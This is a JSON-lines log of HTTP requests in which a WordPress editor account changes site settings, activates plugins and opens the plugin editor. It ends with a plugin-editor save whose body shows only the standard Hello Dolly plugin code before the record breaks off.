{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 24", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "attachment_id=21&fetch=3"}
{"method": "GET", "target": "/wp-content/uploads/2026/11/scan-01.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": ""}
{"method": "GET", "target": "/wp-content/uploads/2026/11/holiday-photo.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?item=6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 472", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": "option_page=general&action=update&_wpnonce=d9d12950f3&_wp_http_referer=%2Fwp-admin%2Foptions-general.php&blogname=Example+Blog&blogdescription=Bob%27s+words+%26+thoughts&site_icon=0&siteurl=http%3A%2F%2Fblog.example&home=http%3A%2F%2Fblog.example&new_admin_email=editor1%40example.com&default_role=subscriber&WPLANG=&timezone_string=UTC%2B0&date_format=F+j%2C+Y&date_format_custom=F+j%2C+Y&time_format=g%3Ai+a&time_format_custom=g%3Ai+a&start_of_week=1&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-general.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 197", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": "option_page=reading&action=update&_wpnonce=1872e80cc5&_wp_http_referer=%2Fwp-admin%2Foptions-reading.php&show_on_front=posts&posts_per_page=12&posts_per_rss=10&rss_use_excerpt=0&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-reading.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 616", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": "option_page=discussion&action=update&_wpnonce=1ac818c98b&_wp_http_referer=%2Fwp-admin%2Foptions-discussion.php&default_pingback_flag=1&default_ping_status=open&default_comment_status=open&require_name_email=1&close_comments_days_old=14&show_comments_cookies_opt_in=1&thread_comments=1&thread_comments_depth=5&comments_per_page=50&default_comments_page=newest&comment_order=asc&comments_notify=1&moderation_notify=1&wp_notes_notify=1&comment_previously_approved=1&comment_max_links=2&moderation_keys=buy+now%0D%0Acheap+watches&disallowed_keys=&show_avatars=1&avatar_rating=G&avatar_default=mystery&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-discussion.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 283", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": "option_page=media&action=update&_wpnonce=fe10b63129&_wp_http_referer=%2Fwp-admin%2Foptions-media.php&thumbnail_size_w=160&thumbnail_size_h=150&thumbnail_crop=1&medium_size_w=300&medium_size_h=300&large_size_w=1024&large_size_h=1024&uploads_use_yearmonth_folders=1&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-media.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 339", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": "option_page=writing&action=update&_wpnonce=1e8037a08d&_wp_http_referer=%2Fwp-admin%2Foptions-writing.php&default_category=1&default_post_format=0&mailserver_url=mail.example.com&mailserver_port=110&mailserver_login=login%40example.com&mailserver_pass=&default_email_category=1&ping_sites=https%3A%2F%2Fexample.org%2Frpc&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-writing.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 226", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=category", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203334"], "body": "action=add-tag&screen=edit-category&taxonomy=category&post_type=post&_wpnonce_add-tag=f99019c9ad&_wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dcategory&tag-name=Food+%26+Drink&slug=food-drink&parent=-1&description="}
{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=akismet%2Fakismet.php&plugin_status=all&paged=1&s&_wpnonce=8b9b53e587", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=akismet-key-config&view=start", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=hello.php&plugin_status=all&paged=1&s&_wpnonce=5f6bf67faf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203340"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "pointer=plugin_editor_notice&action=dismiss-wp-pointer"}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php&wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""}
{"method": "GET", "target": "/?wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 3611", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "nonce=ce99c3187f&_wp_http_referer=%2Fwp-admin%2Fplugin-editor.php%3Fplugin%3Dhello.php%26file%3Dhello.php&newcontent=%3C%3Fphp%0A%2F**%0A+*+%40package+Hello_Dolly%0A+*+%40version+1.7.2%0A+*%2F%0A%2F*%0APlugin+Name%3A+Hello+Dolly%0APlugin+URI%3A+http%3A%2F%2Fwordpress.org%2Fplugins%2Fhello-dolly%2F%0ADescription%3A+This+is+not+just+a+plugin%2C+it+symbolizes+the+hope+and+enthusiasm+of+an+entire+generation+summed+up+in+two+words+sung+most+famously+by+Louis+Armstrong%3A+Hello%2C+Dolly.+When+activated+you+will+randomly+see+a+lyric+from+%3Ccite%3EHello%2C+Dolly%3C%2Fcite%3E+in+the+upper+right+of+your+admin+screen+on+every+page.%0AAuthor%3A+Example+Author%0AVersion%3A+1.7.2%0AAuthor+URI%3A+http%3A%2F%2Fexample.com%2F%0AText+Domain%3A+hello-dolly%0A*%2F%0A%0A%2F%2F+Don't+load+directly.%0Aif+(+!+defined(+'ABSPATH'+)+)+%7B%0A%09exit%3B%0A%7D%0A%0Afunction+hello_dolly_get_lyric()+%7B%0A%09%2F**+These+are+the+lyrics+to+Hello+Dolly+*%2F%0A%09%24lyrics+%3D+%22Hello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+take+her+wrap%2C+fellas%0ADolly%2C+never+go+away+again%0AHello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+golly%2C+gee%2C+fellas%0AHave+a+little+faith+in+me%2C+fellas%0ADolly%2C+never+go+away%0APromise%2C+you'll+never+go+away%0ADolly'll+never+go+away+again%22%3B%0A%0A%09%2F%2F+Here+we+split+it+into+lines.%0A%09%24lyrics+%3D+explode(+%22%5Cn%22%2C